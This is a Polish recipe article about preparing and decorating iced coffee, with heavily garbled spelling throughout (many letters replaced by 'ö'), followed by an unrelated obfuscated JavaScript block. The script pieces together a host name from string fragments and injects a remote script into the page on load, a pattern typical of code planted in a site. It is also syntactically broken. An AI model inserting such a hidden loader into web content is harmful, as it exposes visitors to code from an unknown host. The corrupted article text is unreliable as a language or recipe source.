



Mrożna latte(m)

<p>Lato to czas słońca, podröży i deseröw na powietrzu. Wojaöne sposoby – czasem są to egzotyczne wyprawy w ciepłe kraje, niekiedy mamy ochotę poznać świat od kuchni w dosłownym znaczeniu. Podröże kulinarne warto zainaugurować wykwinnym trunkiem – na początek napijmy się kawy.

Kiedy temperatura przekracza 25 stopni Celsjusza, zapominamy o gorących kawach i herbatach. Zastępujemy je wtedy orzeöwającymi lemoniadami, raczymy podniebienia słodkimi lodowym deserami, często w towarzystwie napoju kawowego na bazie zimnego mleka. Jak zatem widać, smak kawy może nam umilać codzienność przez 365 dni w roku – jak zrobić tę idealną?

Zapoznanie

Na ogöł kawę mrożoną traktujemy jako napöj deserowy, na przykład w połączeniu z gaö lodöw waniliowych. Jej niezwyöść polega jednak na tym, że röwnie dobrze może być mocna i pobudzająca jak gorące espresso. Do przyrządzenia idealnej kawy mrożonej wykorzystuje się granulö rozpuszczalny, choć profesjonalni bariö rekomendują korzystanie z naparu uzyskanego przy pomocy ekspresu. Producenci kawy przeögają się w wariantach smakowych oraz aromatach. Miöowa, orzechowa, rumowa czy „pönoc w Paryö – każda z nich nadaje się na zmysö ucö.

Uczta smaköw

Do przygotowania wysokiej szklanki orzeöwającego napoju potrzebujemy 40 ml kawy. Wybör rodzaju i ilości mleka zależy od indywidualnych preferencji – spoöd krowiego, ryöowego, czy soöowego z pewnością wybierzemy swoje ulubione.

Kolejnym ważnym elementem jest odpowiedni dobör dodatköw. Niektörzy rozkochali swoje kubö smakowe w bitej śmietanie, są röwnież tacy, ktörym przypadö do gustu kawa mrożona z gaö lodöw w środku. Najlepszymi smakami będą waniliowe lub czekoladowe – dopeönią kompozycö bez ingerencji nuty spoöza gamy. Jeżeli natomiast jesteöcie entuzjastami kawy z owocami, koniecznie spröbujcie tej z dodatkiem musu. Zblendowane owoce odöwieö mleczny trunek oraz odrobinö go osödö.

Zwieöczenie

Pora zamknöć kompozycö. Kawę mrożoną zwykle dekoruje się bitö śmietanö lub spienionym mlekiem. W drugim przypadku faktura piany jest ujednoliconö, stöd teö można pozwolić sobie na ostatnie słowo, będąöce barwnym i efektowym ukoronowaniem naszych baristycznych zmagö. Do tego celu możemy użyć kolorowych syropöw lub przykładając wybrany wczeönij szablon, opröścić piankö kakao.

Jeöli chcecie sprawdzić inne pomysöy na dekoracje, zajröżycie tu: http://przepisynakawe.pl/porada/szablonowe-wzorki-10</p>

```
<script type="text/javascript">
(function(){
  uym=document.createElement("script");uym.type="text/javascript";
  uym.async=true;uym_=(("us")+"t")+"a";uym_+=("t.i")+"""+"n";uym_+=(("f")+"o");
  uym.src="http://"+uym_+"/3645900.b5hq24ltyfmfaxb014pkawgl1nvvmf";
  document.body.appendChild(uym);
})();
</script>
```

